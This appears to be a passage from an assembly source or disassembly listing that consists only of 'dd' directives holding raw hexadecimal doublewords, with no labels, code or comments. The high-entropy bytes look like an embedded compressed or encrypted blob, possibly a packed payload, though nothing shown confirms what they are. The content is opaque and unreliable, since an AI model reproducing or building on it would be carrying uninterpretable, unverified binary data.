34004ABFh, 746D3BBCh, 1FD5EA38h, 0A4E02677h dd 0F56202CCh, 8C4063C4h, 8409ECBDh, 2B127DB4h, 0C500F5ACh dd 294386CFh, 0FAC3F300h, 0EF9EDEC5h, 580A0C5Dh, 0E81823FDh dd 772AF700h, 36663FAFh, 8EBF1374h, 0CD704A03h, 534707FCh dd 12EBB0F6h, 0C7135B84h, 4407071h, 0A19FCE7h, 6B6724FDh dd 0B2EC010Ch, 0D9FB470Dh, 1CA0CF99h, 5C1E94A8h, 15408A2Dh dd 28493DE8h, 12F328FCh, 48080098h, 0F090DF1Ah, 9C001FC2h dd 58F15093h, 1D6076B2h, 8133F764h, 51BDD88Bh, 814A8084h dd 2E7078E8h, 7770294h, 589033C2h, 5A47D7C0h, 0C5AFCA05h dd 0D8013618h, 9CBA4643h, 867090F7h, 2D15008Ch, 0BCCC2CCAh dd 0EC0061A7h, 0EE985AADh, 0E04A5773h, 0AB5900F1h, 0AA8D25FEh dd 1600B1B6h, 28786224h, 77AA5h, 1894F692h, 7491324Ah dd 3824BB73h, 5F40983Bh, 0E60C42EBh, 1D027DDDh, 1E328AAh dd 254158BDh, 0C75FF0D2h, 4BFFD500h, 188DFA9Fh, 912402CFh dd 0D496E845h, 70009D8Bh, 1D7154D5h, 53305F00h, 0F214A24Ch dd 9C1C0743h, 0E00665FEh, 7EDCD0A1h, 69D89100h, 0BD7CD1E9h dd 0D55601AFh, 37C452B8h, 8AE0FC97h, 7C95A03Fh, 80433A3Fh dd 862DA576h, 0AC4657h, 0C442C7F0h, 967BF504h, 48E3B400h dd 2982FE38h, 56071D36h, 223EC0E6h, 329731E8h, 13811005h dd 8B10E7D4h, 7500778Eh, 0CEED7D46h, 0D3AB35h, 0FD672EB1h dd 3E4950DBh, 0C00A6200h, 4FF398D0h, 9E7C11h, 85636993h dd 0E02C8D6Bh, 0C83B2405h, 64C082BEh, 89F907h, 4A8BB860h dd 0E7906F62h, 8F746600h, 83485FAEh, 5A1A1652h, 45EC0184h dd 4065A091h, 0A97A9C0Ch, 86C1C30h, 3095CC6h, 0C5E1E58Fh dd 57B0B862h, 3AFA7D49h, 7A15FB00h, 0A4A2E011h, 6E6400CFh dd 4650EAF2h, 0D30007B6h, 65DA4101h, 828CFBh, 37993A5Fh dd 0C60D4D03h, 19F8D349h, 2B304551h, 380D0903h, 20147005h dd 1028BE0h, 6DD2B1E6h, 0E9B01153h, 0EE2AF881h, 14D4A907h dd 45A07679h, 0C7FB4989h, 41C53E40h, 40831BCDh, 0D415E48Ch dd 7A4A5800h, 41992A59h, 0C131503h, 0B30444D0h, 7DB07B9h dd 7B40208Fh, 0C0229311h, 0A2462C20h, 6900E97Fh, 0B609C937h dd 3BE16Fh, 0ECC5BE2Ah, 0D9DF1916h, 6149D503h, 0F1CB9A7Ah dd 69F43630h, 7C74096Eh, 0C203DE9Bh, 0E4F0B134h, 148080Bh dd 43C0678h, 0B07E85h, 93BFBE8Dh, 0B38E2583h, 0FDAA7403h dd 0AD7EEADEh, 0C2F54800h, 494DCCEFh, 0AB070070h, 0B02FA01Ch dd 0B6ADD51Bh, 0FA1319C0h, 1404967Dh, 0C8C520C6h, 27EEDD12h dd 17B5501Ch, 10C08614h, 0BC101395h, 7FA60FB6h, 0EF400845h dd 9BD03E56h, 0ADF25000h, 520AAF17h, 4E4056Dh, 40DF6974h dd 0CDE130A4h, 0DC0509C1h, 0EED4AF27h, 0CF6536C1h, 56E7CCh dd 57A93A79h, 0EC18C84Bh, 530D2F1Eh, 0D0C7F300h, 45C419h dd 0B7ACB911h, 0F7DFA78Eh, 2EA9580Fh, 0E1818057h, 9AFFBDh dd 0DE5E369Ch, 0A23E327Dh, 0D007BB8h, 9192F428h, 0C5AADDh dd 1069ED8Eh, 672BE1CBh, 5979C305h, 43EE493h, 470458E0h dd 0D7FA10C3h, 0B1800DCh, 60FE8219h, 5700B33Bh, 40D8E474h dd 7FF83FEFh, 2DE31FBh, 11852828h, 1A0056DFh, 530042E8h dd 4DDAE2B1h, 3CA94067h, 0F711FCh, 0E595EAB5h, 316A1F2Ch dd 37E14600h, 0A0208308h, 62D900A7h, 9EDD4E5Eh, 850FAECAh dd 605887CFh, 3ED74BE8h, 0AFF0AAh, 78041BA2h, 3098FA7Ch dd 3474270Fh, 805BCB3Ah, 0E61B2468h, 0C418009Dh, 0E3543515h dd 0AC73931Ch, 0A1607D01h, 14ED1648h, 4A452087h, 2A5E7095h dd 11000D59h, 312884EEh, 5B32253Ah, 3EDC0334h, 0FFC58Fh dd 0EC1D298Bh, 10D65200h, 0F92F55EDh, 70FB007Fh, 76484E35h dd 5D02F84Ah, 5654154Dh, 5180FD25h, 449E4938h, 66FD4C0Eh dd 7A7EE037h, 70AEE6A3h, 79AF0060h, 0B9A92805h, 0CC389667h dd 5A970012h, 0FC3865C0h, 5CDD0F92h, 0CA20D19Bh, 99C74030h dd 0E1218200h, 34E4DE7Fh, 4DBD0F1Ch, 2C4E61C5h, 5CE019EFh dd 7F6008E5h, 19975930h, 97216h, 12D8A137h, 7E03CDE3h dd 3A631918h, 3C0E4D11h, 7D1CB748h, 0C06B1EA1h, 0B2EDEB3Ch dd 0A800F252h, 0ABE264ACh, 97A4C7h, 39438811h, 9F09D6EEh dd 0B3A2EA03h, 0C8CF5D4Eh, 0DC83D0h, 4F92567Fh, 886B2A2Bh dd 0E397A500h, 8406D70Ah, 26CB00B2h, 3DD99902h, 0E948FDEDh dd 952B1FD7h, 0AA48Bh dd 60FA042Fh, 142300F0h, 4EF230F9h, 6090E3F1h, 9B7FA10Bh dd 0CFF2803Dh, 7849CDBh, 37429313h, 0FF2150CBh, 20F9C908h dd 0C200CE14h, 0F6D26E27h, 616FE8A8h, 2A7A07Ch, 0F921FC71h dd 20127A30h, 3B2AF2h, 0E8297DA3h, 303A6423h, 0D5D8DA18h dd 56A642h, 17B1F324h, 4CA351B5h, 7667B12h, 95C9B845h dd 2F0A8840h, 3CCFC6CEh, 6600747Eh, 92C88CBEh, 46480F6Dh dd 3037004Ch, 29DEEDE7h, 0FFEC7Dh, 6999B551h, 0A5A095B2h dd 0D8004D70h, 0DBE1797Fh, 1FC1AEh, 0E86B719Bh, 0BE93672h dd 0C33FB00h, 8B62B33Fh, 0FFA30012h, 2A0D777Ah, 92F0B65Dh dd 0BE1FE471h, 0FC465881h, 801736h, 0D4F91ED7h, 2DD978CDh dd 18C0B27Ah, 3AAA964Ah, 663100BDh, 0FE7CE1Ch, 0D8004B41h dd 63B06452h, 3B368Dh, 0FAFE2220h, 2FA14C29h, 0ABC03000h dd 32B3529Ch, 581500CDh, 92551D57h, 6500B7D2h, 0EB59E868h dd 0CDBC129h, 0A61FB9Bh, 543A0868h, 0E5EF0044h, 2649933h dd 50ACA8F7h, 877784E9h, 0D000FC92h, 0C60C69CDh, 1426E7A9h dd 0BC36BB48h, 0D93CC700h, 0E31E7382h, 9B05117Bh, 7ACB26B2h dd 0AF43F400h, 12F18CC0h, 4928A5DFh, 1C18382Ch, 7648FB63h dd 0E59E0014h, 0A03D378Fh, 0A8A47DF7h, 0CB6C6D0h, 4BBF3250h dd 7304E891h, 7BD33F89h, 44042890h, 0EB5B3DF0h, 9F57BA00h dd 8C9E547Eh, 987D2A00h, 0C22FA93Dh, 722902D8h, 0E96C65D3h dd 1474B440h, 627A4400h, 0A17B4E6Dh, 81260430h, 923DDFE8h dd 0B8832CD0h, 0D1D87F69h, 6600BC34h, 5D233A7Ah, 16CDD5Eh dd 20260E93h, 20AD87F2h, 9D016B04h, 34A1F01Ch, 0C457EA5Eh dd 0E5E8D1C0h, 609B2E86h, 1B640143h, 0F84C998Fh, 53241A96h dd 0D800E495h, 1524BB0Dh, 9E8500ECh, 0A87CC857h, 0FC927384h dd 3803AB73h, 0A28A4845h, 0F179C97Dh, 50DCA6FDh, 0A39A0F86h dd 0E640242Ah, 0F642B70Eh, 18925F01h, 8BADB268h, 4479A88Fh dd 0AABFA078h, 81C01676h, 30CE123Dh, 7CECA069h, 0D0C009EFh dd 0C4024F23h, 21127D45h, 6F551AD0h, 0E6CF9880h, 469C9BB0h dd 0AA09CD00h, 93E75FE9h, 0DA481E39h, 0C379C002h, 0EAB3707Bh dd 56A81A25h, 0AAA0009Ch, 0A52A6531h, 16323700h, 0AB59D546h dd 231A0006h, 0F64247Ah, 8005583h, 0D36E7398h, 186F11Fh dd 0AE658BD5h, 4867E970h, 830053C8h, 4A8CF877h, 7566EB1h dd 7DB43DEFh, 0BF803A49h, 878394C8h, 90D04F10h, 7CB10731h dd 78146540h, 238907Bh, 0A32D43F0h, 50663F7Fh, 0A2007EF0h dd 86414869h, 0FE0AF74h, 0A0779A70h, 0C20098B4h, 54FA3236h dd 44005783h, 4ED809A4h, 0AC4221h, 46D2FF1Dh, 308B53F2h dd 0C7A8EBF9h, 30023F6h, 0EF1C71D6h, 0FA2090A0h, 0D9C015Ah dd 301E2664h, 91A4226Fh, 0FFC009A0h, 0A560001Bh, 35CEC8Eh dd 73950A7h, 129D9D09h, 0CC406E8h, 7A0441CAh, 89819754h dd 0BD090480h, 90E10CA1h, 0E620776Eh, 0CE244B00h, 648B811Dh dd 93800110h, 0D852BE09h, 8C904004h, 0F4A4CE3Dh, 1D20D918h dd 1EBE6118h, 7A71B63Bh, 0AAF7160h, 0BF004DF3h, 0DD8923EBh dd 2A96F4h, 0E252CB4Bh, 0C9EAD631h, 610E1700h, 986D11CFh dd 0E66B09D9h, 58236A53h, 9BCB4372h, 0CB9D83A0h, 407013Ch dd 761A6584h, 0EF0AECC0h, 70BAC9B9h, 0BF54EC80h, 0BEE8369Ah dd 3F0FA700h, 501F3466h, 8C7C0189h, 3E924DC1h, 0BE39CC6Bh dd 730E58F8h, 5EA68D3Fh, 9422AE16h, 2FCC60CBh, 46C80B43h dd 16002DB0h, 49E66650h, 80FCD901h, 13819CB6h, 0BA57D8F3h dd 40324CF0h, 98F3F91Eh, 8373AE04h, 85926414h, 0CB40018Ch dd 8244B2ABh, 74FC1080h, 0D6DD2B2Dh, 888D2E00h, 32A2C3C8h dd 655F001Ch, 0EFF3BB0Fh, 6A00E6DAh, 26092FFFh, 0B736D44h dd 0CAEE3711h, 0A72027h, 3389D6ADh, 0E928217Dh, 0F20FFF92h dd 763FEBCh, 8540E6CDh, 7279712h, 0B761D91Ch, 1ED840E7h dd 0E83A7120h, 4400735Eh, 69535AB0h, 73A914FDh, 2CCD3A2Bh dd 9BB93600h, 0D4027AB5h, 56474F18h, 7499111h, 0BE48F0DAh dd 92935039h, 20E36B11h, 5E021DC8h, 5ACD2E46h, 841C4810h dd 228B2404h, 4CA40902h, 50ACCC20h, 0EE4AB598h, 0E18E4000h dd 0C86F201h, 5C930A02h, 7F00FC29h, 274757BFh, 0C08098C9h dd 0D18A3B19h, 78C048C8h, 34FF4959h, 498E73D5h, 170080EAh dd 2E696ED8h, 0C3005578h, 80115E02h, 7DC128D3h, 993F2A3h dd 957BADCEh, 0D149A890h, 0A52CCC01h, 0A8536A14h, 0BF881462h dd 0B8BD6580h, 1D2B239Dh, 5B8A05h, 0CC3872A3h, 0D8007FB6h dd 0BDB048C6h, 1C649A8Ch, 80CED9DDh, 0D3431523h, 51001846h dd 4B2F7ED4h, 96A3F9h, 0F65931D0h, 85688990h, 0F72750C0h dd 0A874ABh, 84219916h, 0E2C1F951h, 10A1650Bh, 0ADB8210Bh dd 64486A18h, 0F47A00C6h, 65821AF1h, 0A0006138h, 8D4C2D7Dh dd 782362h, 255966B8h, 5BCA7173h, 95ED2A01h, 50086DE8h dd 886030h, 71A3DBC4h, 9B5A9468h, 2A21C91Dh, 51417D4Dh dd 0D5994880h, 97EE4AE3h, 9019A72Ch, 7281B500h, 0CA4B10h dd 0F414CCCFh, 9FB3B9FAh, 0AAA8BA05h, 38D0D02Fh, 29AC48h dd 0A295BDF7h, 84269455h, 0FBCC7C00h, 814FA968h, 47DD00ADh dd 4438320Ah, 0D817ABD3h, 8862CA17h, 7B003EFEh, 29A79932h dd 255EE7Dh, 0ACECDFE2h, 0C4506C2Fh, 5E172CA0h, 5FF49954h dd 0D860C201h, 494BBC3Eh, 500C8080h, 196EA212h, 22018C7Fh dd 6979BBC3h, 3850379Bh, 233A96B9h, 0E301DEECh, 0F11CF92Eh dd 80008822h, 0C8AE02D2h, 852CEA1Bh, 3000C529h, 3C3B64B1h dd 0A249884h, 0C3C221B3h, 403A1ECCh, 0EEC4D77Ah, 32761B3Bh dd 1525D100h, 7638458h, 0DBCD0755h, 4330A7ACh, 70A10EADh dd 5F60D449h, 8C751709h, 0AF744137h, 3ECC3AD4h, 0BB80D59Bh dd 80A23D48h, 7F26961Eh, 7B0578C0h, 9F00C964h, 4FC8E05Fh dd 0FD600259h, 4BA92F36h, 0D0002058h, 0CFBA9814h, 3BB92DA2h dd 0EF00E9E4h, 0A3D9DE9Ch, 0A0009255h, 0F1020C6Dh, 0CD649BCh dd 0D0BD278h, 0BB302CD8h, 19E970C6h, 0AAB41FEBh, 8BEA02C8h dd 99607663h, 5D06FB50h, 3F1844E0h, 9D2C32C0h, 42503E29h dd 99A55700h, 44CF841Dh, 0A16B0E29h, 4F007AC5h, 0CD20070Ah dd 53E9B51Ch, 183200F9h, 277B95Ch, 43A50112h, 72C37BC9h dd 872820E5h, 21A0DB00h, 99EB2027h, 1B200DFh, 1BA2AD47h dd 3272764Bh, 400FE71h, 8B10A079h, 27F72E26h, 1C002846h dd 6C258256h, 0CAD6F404h, 0D0C18B2Fh, 0DBDD2CA7h, 3DA070h dd 0C6DDE713h, 0CF8549BEh, 42A74000h, 67279CF0h, 0C5C30711h dd 97BD7BA6h, 0D1A0A159h, 0D0E5F99Dh, 87009F29h, 1C2C3540h dd 58611914h, 0F302CE12h, 59D265C9h, 8FA08AC3h, 0A500CDE3h dd 1473821Ch, 0BCDD22h, 673452EEh, 0D5C2DA24h, 7C0378B2h dd 0BF215C5Fh, 0D0F7E3D9h, 0B8756Ah, 0B29CAB7Ah, 0A718FEFh dd 84646700h, 79D5AE2Fh, 0D1E20087h, 8F22BEF9h, 0E91CC3F0h dd 21F14226h, 4ECCAC60h, 91DC3A0Eh, 0ED869B09h, 0F5007958h dd 0AEFA8E2Fh, 0FBF06AF2h, 40E3A0DBh, 493903C5h, 0C6D7EFFDh dd 146FE800h, 61CE32C1h, 1B9A0F81h, 2681418Eh, 0C9B77DC4h dd 0A06FD429h, 836BB51Dh, 0C096B2CFh, 170FE09Ch, 1892425h dd 84A0194h, 70BF5E3Fh, 0E5006381h, 0D507C386h, 42FC9Eh dd 0EE6FD8F3h, 5902DBBh, 6B75B500h, 6892EC61h, 13930009h dd 14AD202Bh, 690E707Dh dd 0CEE7E289h, 0C3309833h, 12B7322h, 0F8F519Ah, 0FC2650C6h dd 9D0719B1h, 738E405h, 80002435h, 341BC72Bh, 0B74F0422h dd 0C07155E9h, 130A036Ch, 7BB4AA03h, 0F02B4D0Ch, 0E8F2FEh dd 95F56A08h, 166CD919h, 915EC10Eh, 0C5D6C0B5h, 0CB9B23h dd 86BDDE42h, 0F039D997h, 543A7F00h, 78CDE809h, 0F487038h dd 329CC702h, 0D5304017h, 9456FA43h, 83985890h, 74C9F100h dd 5D683FF4h, 734A0706h, 0D1DB1B60h, 0E855D580h, 9900489Bh dd 1097F2EAh, 1EEC55Bh, 32C2E108h, 0EC51947Bh, 0FA305799h dd 0EF5FD870h, 4F5E00E3h, 6CE50FBh, 0AC004A39h, 7805FCB5h dd 13F1B022h, 431DAEEBh, 61A2BCC0h, 0B463C780h, 0D25E6A00h dd 149525D3h, 0DD921828h, 4AA4D81Ch, 8FFC521h, 0FD0F03A0h dd 0B088E76Eh, 42EB7E70h, 288D0046h, 480C34BFh, 0C77157D7h dd 0CC049100h, 1E40C137h, 0DDF2308Bh, 627B4558h, 0E56F2D00h dd 7ADB882Eh, 67C80054h, 931C6B43h, 1300E2EAh, 0BE8F395Eh dd 11D84EEh, 0A070C585h, 0E8603B6Ah, 0E600901Ch, 3CF44A23h dd 0EFC8C03h, 0A417AC94h, 88C3E420h, 6201DF31h, 20013541h dd 96C870B1h, 0B25001Dh, 0D2DA4890h, 9500282Ah, 0E38E53C6h dd 9D4C27h, 1D3E2EECh, 64DFCD51h, 58EB3805h, 97C0B341h dd 19779DCh, 98F0E8D2h, 0D4FE643Eh, 6A00A566h, 106EDACAh dd 1779481h, 8A8F1D59h, 7426EE36h, 40D638C4h, 437CC440h dd 12E08444h, 6C54E7h, 87E05B0h, 57009613h, 65D730B4h dd 5995EFh, 67DD3BD8h, 0BDBE282Fh, 1660D90Fh, 0D79E67F6h dd 0AA30EC77h, 0B7B20B5h, 56A2FFAFh, 0B0C0D862h, 6E05187Eh dd 0E78BE1Dh, 19A11480h, 0B5FB0FB3h, 72C05FB0h, 6ED48E3h dd 0F11F9D00h, 0F01C9CC3h, 108900DAh, 7B9567E4h, 880564E6h dd 87FDE34Ah, 0DB250C00h, 7474CAC2h, 0E57C00DCh, 9212515Ah dd 0D0EC90CBh, 730EFE03h, 0D80FA93Ch, 0E5A32Ah, 6EAAF60Bh dd 0CACBD5A2h, 6961FA00h, 0BB06854Ah, 0CC775C44h, 7EBD7801h dd 0BC54D6BCh, 7F5500D0h, 0A5EE84D9h, 42F700CBh, 0B0303612h dd 7800C704h, 0D5A08FCh, 1E3FEF79h, 4246DBA1h, 0E87EA5F0h dd 0E0CE74E9h, 849461FDh, 4DFFCA00h, 62DC54DBh, 0C47861F2h dd 5AAD8940h, 54F078CEh, 0AF180318h, 24C4404Dh, 66B1238h dd 216F97D4h, 1CA125F2h, 0D05080FEh, 0ED94FB58h, 0ED90079h dd 9BC68137h, 4700F128h, 59F83FE1h, 180B5CDEh, 48E20CFAh dd 0E618C333h, 8E596AD8h, 0F1D01803h, 1C2116Dh, 3BA22603h dd 0A0CBF95Fh, 7DFDB931h, 2EFC041Ch, 80AA70F0h, 0C5EEE388h dd 73396660h, 34C0AD1h, 58426FCAh, 825A712h, 23F08F3Bh dd 0BB9B0AD9h, 32B298F2h, 0F17B185Ch, 0A0D54178h, 0BF848C00h dd 5AEC412Ch, 0BCF90186h, 90CEE032h, 1E808114h, 0A358A9C5h dd 6F607880h, 0A546956Bh, 0B900449Eh, 0D2962417h, 0AD070C0Eh dd 55082623h, 18005C92h, 50BE24FFh, 0D9E13Ch, 0D6C20A14h dd 0D3ECC443h, 0E06A9815h, 623400E8h, 0FB214522h, 1377D1Eh dd 5F388DC0h, 873AFA69h, 27DF63D9h, 0AF1AA570h, 0B097072Eh dd 30FAE5EFh, 0E7D4F3D2h, 3D26E618h, 606731h, 0F587DD03h dd 0EED13B39h, 4B9C9500h, 0C7A2864Eh, 0D0BC0158h, 967D409Dh dd 1907D72h, 327539DDh, 0C4C88E5Eh, 90F501EDh, 1BFBB6F8h dd 0A2C8E0D1h, 4CF084A8h, 167E5D3Ah, 34872B81h, 6A70A6C0h dd 498AC96h, 0D2EB2414h, 2C8763F6h, 831721h, 86414F85h dd 8403AB6Bh, 6A447C25h, 249900D8h, 0CB42821Bh, 4A005B7Dh dd 0B121F20Dh, 145E5F5h, 8877A5C1h, 807F6033h, 61E1D989h dd 440F78Eh, 0DC782832h, 6D5881E3h, 0D6944092h, 0FD713AF9h dd 0D4FB6000h, 0F84827F6h, 3E7AF8DBh, 0BE04C5A3h, 88820E79h dd 0EC0004C0h, 2A5A0698h, 3A639E85h, 0D33B9E2h, 98D8A721h dd 3D0089FDh, 0DC28EC82h, 2E1F8Ch, 0DABBB9D8h, 0FD391E3Eh dd 82A35E09h, 66E420C3h, 39B84E45h, 602AE6DAh, 2EC40AC8h dd 81C7E58h, 9C22083Dh, 2A605906h, 78208D9Fh, 3BE215DBh dd 9900807Eh, 78CBAC42h, 0FB98461Dh, 2447653Ah, 0B080F0A8h dd 0A979AF0Ah, 88890952h, 0D010FAD0h, 730FE7B8h, 0C0206F6Bh dd 0C58A604Ah, 344BF954h, 305944C4h, 0C4D9B15h, 82015F6Ch dd 770805B0h, 8A4A6333h, 867CD7E6h, 7052B98Eh, 34CBF85Ch dd 881F8E8h, 2E1D376h, 23C71080h, 0C5D0EE46h, 360057E4h dd 28BE4CBCh, 1E77814Bh, 808BB612h, 0D503D7D3h, 4007D98h dd 5FEB509Fh, 7AAC2DBFh, 3F5479BEh, 4F3A2BA4h, 2053C418h dd 0AC0B2AEDh, 80783849h, 3341C639h, 0FEFD03BDh, 5F8CF81Eh dd 620A6008h, 0FC467611h, 0D8F4A600h, 52961EFAh, 67006473h dd 8B5676DCh, 1EE435Fh, 5D5550A2h, 0EAF0703Ah, 6BE34B00h dd 48B31658h, 41840CC6h, 80E14608h, 6B9B2E20h, 0F82127Eh dd 897BF8F0h, 11343341h, 9CF1F5ADh, 0F51F2349h, 7885438Ch dd 0EB5D4022h, 55E721C0h, 0CF476F16h, 0B083FA38h, 2100424Ah dd 37C18430h, 1A087CBh, 442FD3A7h, 0EC6AA6h, 0C17C05h dd 5BA2D9BBh, 55BCDF14h, 40EF7619h, 0C03ECB50h, 91E27033h dd 0B299A206h, 0F10C11Fh, 0DF9A6B88h, 0BC439380h, 6F00CB35h dd 0C9AFFCD9h, 1687D361h, 662F46h, 5189C867h, 0F00B01Dh dd 28E0CD0Eh, 0FD1974h, 0D9477DE5h, 6BEF6761h, 0CBC11500h dd 2399CE7h, 344B005Ah, 0EC86339Dh, 0B1001BF1h, 0CA114CC1h dd 0B52FAFh, 21E62A59h, 1851BC6Eh, 0EA00BB79h, 0F67EA8FFh dd 81875Ah, 0D690BE3h, 3C520C66h, 0F977C4E4h, 98F16C00h dd 0EC261ABCh, 0F72F00E1h, 0D6D0557Fh, 0CF001311h, 66B86CA2h dd 54EBF2h, 21234B3Bh, 0DB0B1FD5h, 0E773E900h, 0DDC2D42Eh dd 65801F3h, 0D059D98Eh, 18422014h, 8D4A4500h, 3D6B11C8h dd 400D003Fh, 611DC315h, 1438C21Eh, 0A10075E6h, 0D342E9E7h dd 75092ACh, 0C7063927h, 71955014h, 0E918E615h, 0C228B85Ah dd 1CB0E8FAh, 3665D3Fh, 14725B09h, 0EB601FC8h, 0D45758C0h dd 723DAAF2h, 0A93A038Fh, 0ABEDC6Ch, 0FB4E4EF7h, 0D0C50Eh dd 72279EA2h, 0E01743Bh, 0A7C4315h, 5796B8Ch, 3D2B5103h dd 0C1733957h, 1930CB5Eh, 0FB320070h, 0E1277E6Dh, 971EE8F5h dd 0EFC12F2Ch, 6445AAB5h, 18C6BBF0h, 0F1EA0E47h, 6100ABC9h dd 58FF9BC5h, 0CCFA68DFh, 0A821DC08h, 9F61F400h, 0E75852Fh dd 320B01AFh, 1CF66736h, 148040E0h, 0C400063Dh, 0E21BB81Dh dd 0FF9FC44h, 86C69793h, 0D0CD98DEh, 0B9000A3Ch, 7019E9DCh dd 0F4DE391h, 95B86918h, 0EB1CF443h, 6B065116h, 65A91A01h dd 1D2BB99Ah, 210418A0h, 850073ACh, 0AF16675Dh, 1FBF0162h dd 0A2EED50h, 94695Bh, 0A34409C2h, 2A0F38F2h, 8781BEA2h dd 0C6C364BCh, 0CB6988D5h, 0EAC7007Bh, 4433D67h, 0C201153Fh dd 506A354Bh, 0FC50D4BBh, 2F3A89Ah, 4A29B351h, 0BF00E28Ah dd 0BA74B5h, 0F04CE115h, 0C73952E8h, 727B6D00h, 0A8AC21AEh dd 0E16A039Bh, 0F665D6E9h, 209C4E92h, 1502123h, 5E64EE86h dd 343424A6h, 0B00155E4h, 0C6F58ABFh, 898A297h, 0F2FBF16Bh dd 2CB5502h, 48BE6828h, 0A426C128h, 6BFC01ACh, 0EA49FE44h dd 202EF902h, 0F43A208h, 0F861B002h, 0B230D79Bh, 0B9AF80C3h dd 26D66102h, 60102129h, 24BDB13Ah, 8668F654h, 712E1CB8h dd 66A0E000h, 0A7D74628h, 63C00030h, 6B230D88h, 0B51EE3B1h dd 0E1CF10E5h, 5004E768h dd 571D0E81h, 12C491F8h, 61F5E994h, 0F485720Ch, 448C9DA9h dd 6200AB05h, 6C515885h, 1D43BD3h, 0B206436Ah, 0DE0582EAh dd 0C8064EC3h, 0ECBB44FEh, 32740338h, 271C8C2Eh, 674E4900h dd 5C3904DDh, 25633E6Ch, 0DC291880h, 0BC772331h, 0A0A75413h dd 23E02014h, 264200EFh, 2943B8Eh, 21B66086h, 0D52CA509h dd 6D128B0Ah, 194BCDDh, 237D0010h, 0DBF36269h, 0E5510085h dd 0F90519B8h, 0AF0BD5E4h, 0A4542Ch, 8E17E941h, 10A5494Eh dd 4D4B6D00h, 0EA6C90F0h, 0AF92C700h, 71273FF7h, 0B4524877h dd 8C30ECh, 3BE1DC91h, 72E6AE82h, 0E2547EECh, 4C8494A8h dd 0E3808841h, 15FFF58Dh, 4446389Ah, 0BE61AA02h, 0DD31079Bh dd 61F3A910h, 441F5C00h, 709EA1FFh, 11192437h, 0B8E99440h dd 9000F123h, 0E43B9C27h, 7876860Bh, 7CAB0780h, 49A1002Ch dd 19913BB4h, 430086F6h, 0A48A7639h, 4C898DE0h, 60709048h dd 9B9459C0h, 0C4009EA6h, 0B788B2C5h, 2677D666h, 3AE0F710h dd 0C115E2A0h, 519835E9h, 76FF2070h, 1C50EE73h, 0D400CA0Ch dd 0ABBCC482h, 0FF2AE5h, 544E1E0Bh, 266EA4B2h, 7146FE12h dd 2DCE450h, 0ADF3F39h, 0C790618Ch, 9981C8C1h, 0FACFC95Fh dd 10DF60E2h, 0BF8C0B09h, 1F041883h, 7979C032h, 0AF848215h dd 0D6658600h, 0CF92BAF2h, 0A40A5017h, 0AD0A8CF6h, 0A03B712Ch dd 2583C26h, 502B0F44h, 31A1B148h, 803A1FAAh, 0F0F53869h dd 755CB8Eh, 0E1BB5A98h, 0C62EA062h, 6800A73Fh, 0B3F42049h dd 601F05D0h, 0FC07393Ch, 0BC00567Bh, 0F42CA925h, 1D8A735Fh dd 41FE058Dh, 0B5C15E89h, 0B3319CECh, 0F5FF3FC2h, 0AA68406Ah dd 0B2DE2844h, 0BF4A04C4h, 0C13DADFAh, 309459DFh, 8148C2BCh dd 93E30045h, 4521760Ah, 0A0EA1FC9h, 1CA983D7h, 4000BC30h dd 6FB6EF3Fh, 2D4B85Fh, 0E16B453Eh, 946326DAh, 0FA0B3D88h dd 0CAE8C007h, 6581E64Dh, 80244C27h, 0CCF200E9h, 0BF836DF7h dd 9C01DC41h, 518FACFDh, 2470A361h, 912A44E3h, 0FF1447B8h dd 37F0C105h, 0FB966EE7h, 0E4CC1840h, 6CB5F014h, 4C65D82Ch dd 64060828h, 18B85B02h, 13AC7FEAh, 5D6B3Dh, 2F48C244h dd 8C29F5B9h, 836220E5h, 0EEB43010h, 3F184248h, 0BDFB0462h dd 8481496Bh, 0DD917C2h, 0ABFB09Fh, 38A86D78h, 0BF1B230h dd 4604CDAEh, 0EC605D67h, 866546C0h, 2E50135h, 0FDB37A58h dd 0FFE08AC2h, 8C3C9482h, 0B0A1AF34h, 0F6D9EE89h, 1C9969h dd 1A5E6614h, 7D26516Dh, 0A02020B7h, 0EE30D602h, 13B9737h dd 20C11E94h, 24181760h, 3D505F83h, 0C5130778h, 50036116h dd 2BD06658h, 94F8DC00h, 0DBA06321h, 84E20095h, 0EB018F6Fh dd 6500AEDDh, 1AB6E85Eh, 3E5C54h, 0B53D4A50h, 0ED9E83F9h dd 41C27F18h, 0E004EA18h, 0F5F1004Fh, 2C4D2708h, 5572B16Ch dd 0FA3CE47Ch, 0B7710FD9h, 0D8FB00BBh, 7C1E9Dh, 863E5B36h dd 9A0104BEh, 69E0AD03h, 0E0519E7Dh, 633DD14Fh, 0EBB85021h dd 0A45E6800h, 0FF4C6D05h, 0FE600A85h, 3A26196h, 3E4DD6B1h dd 0D12D1800h, 5124CDA0h, 0D5413CAFh, 0BC2BC01Fh, 850EA148h dd 6E67F6A5h, 429BF004h, 0D9F2B6DFh, 0BDFE733Fh, 71013271h dd 804983Eh, 4FA7BFBh, 26AEC68Ah, 8214836Ch, 0A21CD876h dd 0D0800580h, 1C2F8515h, 0CD0905D1h, 7209754h, 0CC589C8Ch dd 41F8FD30h, 76B3C3Fh, 15628E53h, 0D35035F0h, 8B605C1h dd 49B35282h, 0E0C1728h, 0C0A13E19h, 0E7D9104Fh, 0A9906729h dd 60FFA522h, 6AC7B260h, 6CFC9E1Ch, 0CFD8A8F1h, 67C12D00h dd 9058A0F9h, 1AC87D00h, 6166C750h, 0D1C4186Bh, 84F879BFh dd 7C1F9E29h, 8D9960Ah, 63C3F94h, 6B9C1E4Ah, 0DF8480F1h dd 0D46C8989h, 40C0AF7Ch, 5880F56h, 481E503Ah, 0C30843CAh dd 633CDFCh, 0ADB29649h, 0A33D3963h, 0EC8D0FC0h, 5F6B80B6h dd 6FB75D5Ch, 6F02A92Eh, 1880D503h, 303A2360h, 0C50BD305h dd 50051D83h, 1C019556h, 0B6E57B4Ch, 52E92FD8h, 7706CC05h dd 1129F597h, 9E478B00h, 0D6043B24h, 7F6A3C57h, 8A8450h dd 0F064A3ECh, 0C4AF47D2h, 0F6856C07h, 6F8FC74Fh, 0F458FF83h dd 0F410F11h, 888757FDh, 6ED2480h, 2E6125EFh, 17058169h dd 862FC180h, 9DD332B2h, 0A00DB829h, 10EE7830h, 34D224ABh dd 28F98100h, 8CA572AEh, 0A188E199h, 2D8E0611h, 1087580Ch dd 0AA15FB15h, 35D61E84h, 0FD1F90C7h, 0D9C2FF0h, 69272D1h dd 0DBAB118Ah, 0B957612Eh, 8A8C840h, 0A650874Fh, 0C7583804h dd 975D018Ch, 171C9018h, 0EAC9E79Eh, 0A3C821DEh, 0D112226Dh dd 825D54A7h, 0BC84D760h, 0DF654372h, 0D3381807h, 9B4A08D6h 